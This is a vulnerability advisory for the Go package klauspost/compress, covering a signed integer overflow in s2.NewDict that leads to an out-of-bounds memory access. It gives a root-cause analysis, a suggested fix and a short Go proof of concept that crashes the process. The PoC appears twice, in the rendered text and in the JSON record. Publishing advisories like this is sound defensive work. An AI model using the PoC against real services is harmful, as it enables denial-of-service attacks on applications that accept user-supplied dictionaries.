GHSA-259R-337F-4RFW

Vulnerability from github – Published: 2026-10-20 14:33 – Updated: 2026-10-20 14:33
VLAI
Summary
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

  • Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that: 1. Accepts user-supplied S2 dictionary data via s2.NewDict() 2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klauspost/compress"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T14:33:33Z",
    "nvd_published_at": "2026-09-29T15:17:27Z",
    "severity": "HIGH"
  },
  "details": "# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** \u2014 CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data \u226532 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/",
  "id": "GHSA-259r-337f-4rfw",
  "modified": "2026-10-20T14:33:33Z",
  "published": "2026-10-20T14:33:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/pull/1163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klauspost/compress"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/releases/tag/v1.18.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.